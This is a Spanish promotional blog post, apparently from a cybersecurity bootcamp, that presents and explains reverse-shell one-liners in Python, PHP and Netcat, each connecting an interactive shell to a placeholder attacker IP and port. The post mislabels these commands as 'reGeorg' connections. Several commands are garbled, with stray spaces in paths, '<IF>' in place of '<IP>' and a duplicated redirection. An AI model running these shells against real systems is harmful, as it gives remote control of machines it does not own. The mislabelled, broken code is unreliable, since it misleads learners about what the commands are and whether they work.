Existen múltiples formas de establecer conexiones inversas con reGeorg, una vez el Red Team cuenta con la posibilidad de ejecutar comandos en la máquina u ordenador que esté comprometido. Algunas de las Conexiones inversas con reGeorg más comunes son:
- #Python:
python -c ' import
socket, subprocess, os; s = socket.socket (socket.AF_INET, socket.SOCK_STREAM); s.connect ((
"<IF>", <puerto>)); os.dup2 (s.fileno (), 0); os.dup2 (s.fileno (), 1);
os.dup2 (s.fileno (), 2); p = subprocess.call (["/bin /sh", "-i"]); '
- #PHP:
php -r '$sock = fsockopen ("<IP>", <puerto>); exec ("/bin /sh -i <&3 >&3 >&3 2>&3");'
- #Netcat:
nc -e /bin /sh <IP> <puerto>
rm /tmp /f ; mkfifo /tmp /f ; cat /tmp / f | /bin /sh -i 2>&1 | nc <IP> <puerto> >/tmp /f
En este post, veremos cómo funciona cada una de ellas.
Conexiones inversas con reGeorg
Python
El código desglosado de la primera de las conexiones inversas con reGeorg, hecha con Python, sería:
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Crear un objeto de socket
s.connect(("<IF>", <puerto>)) #Conectar el socket a una dirección IP y puerto específicos
os.dup2(s.fileno(), 0) #Duplicar el descriptor de archivo del socket en el descriptor de archivo 0 (entrada estándar)
os.dup2(s.fileno(), 1) #Duplicar el descriptor de archivo del socket en el descriptor de archivo 1 (salida estándar)
os.dup2(s.fileno(), 2) #Duplicar el descriptor de archivo del socket en el descriptor de archivo 2 (error estándar)
p = subprocess.call(["/bin/sh", "-i"]) #Ejecutar el shell interactivo en el sistema
Lo que sucede con la primera de las conexiones inversas con reGeorg es:
- Se importan los módulos necesarios:
socket
,subprocess
yos
. Estos módulos proporcionan funcionalidades para crear sockets, ejecutar comandos del sistema y manipular descriptores de archivo. - Se crea un objeto de socket utilizando
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
. Esto crea un socket TCP/IP. - Se establece una conexión utilizando el método
s.connect(("IP", puerto))
, donde debes reemplazar<IF>
con la dirección IP o nombre del host y<puerto>
con el número de puerto al que deseas conectarte. - A continuación, se utilizan los métodos
os.dup2()
para duplicar el descriptor de archivo del socket en los descriptores de archivo 0, 1 y 2. Esto redirige la entrada estándar, salida estándar y error estándar al socket. - Finalmente, se utiliza
subprocess.call()
para ejecutar el shell interactivo en el sistema. Esto permite ejecutar comandos en el sistema remoto a través del socket.
PHP
El código desglosado de la segunda de las conexiones inversas con reGeorg, hecha con PHP, sería:
$sock = fsockopen("<IP>", <puerto>); //Abrir una conexión de socket a una dirección IP y puerto específicos
exec("/bin/sh -i <&3 >&3 >&3 2>&3"); //Ejecutar el shell interactivo en el sistema
Podríamos explicar el código del siguiente modo:
- Se utiliza la función
fsockopen("<IP>", <puerto>)
para abrir una conexión de socket a una dirección IP y puerto específicos. Debes reemplazar<IP>
con la dirección IP o nombre del host al que deseas conectarte y<puerto>
con el número de puerto al que deseas conectarte. - A continuación, se utiliza la función
exec()
para ejecutar un comando en el sistema. En este caso, el comando que se ejecuta es"/bin/sh -i <&3 >&3 >&3 2>&3"
. Este comando ejecuta un shell interactivo en el sistema.
Netcat
🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴
Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada
👉 Prueba gratis el Bootcamp en Ciberseguridad por una semanaEl código intenta establecer conexiones inversas con reGeorg entre dos máquinas a través de una red. Veamos cómo funciona:
nc -e /bin/sh <IP> <puerto>
: esto inicia el comandonc
(Netcat) con la opción-e
para ejecutar un programa; en este caso,/bin/sh
(el shell de Unix) en la máquina remota identificada con<IP>
y<puerto>
. Esto permite la ejecución remota de comandos en la máquina objetivo.rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <IP> <puerto> >/tmp/f
: este comando utiliza tuberías y redirecciones para establecer una conexión inversa de shell. Comienza eliminando un archivo/tmp/f
si existe. Luego, crea un nuevo archivo FIFO (first-in, first-out) llamado/tmp/f
utilizandomkfifo
. Después, utilizacat
para leer los datos de/tmp/f
y redirigirlos a/bin/sh -i
, que es otro intento de invocar el shell interactivo. A continuación, redirige la entrada y salida estándar de este proceso shell anc <IP> <puerto>
.
Cabe aclarar que estas conexiones inversas con reGeorg pueden llegar a ser muy peligrosas si no se usan adecuadamente, de ahí que se resalte la importancia de usarlas con fines éticos. Si te ha gustado el tema y quieres aprender más, accede a nuestro Ciberseguridad Full Stack Bootcamp para convertirte en todo un profesional de la seguridad informática en poco tiempo. Con esta formación de alta intensidad, nuestros profesores expertos te enseñarán a nivel teórico y práctico para catapultarte en el mercado laboral. ¡Pide ya mismo más información y da el paso que cambiará tu futuro!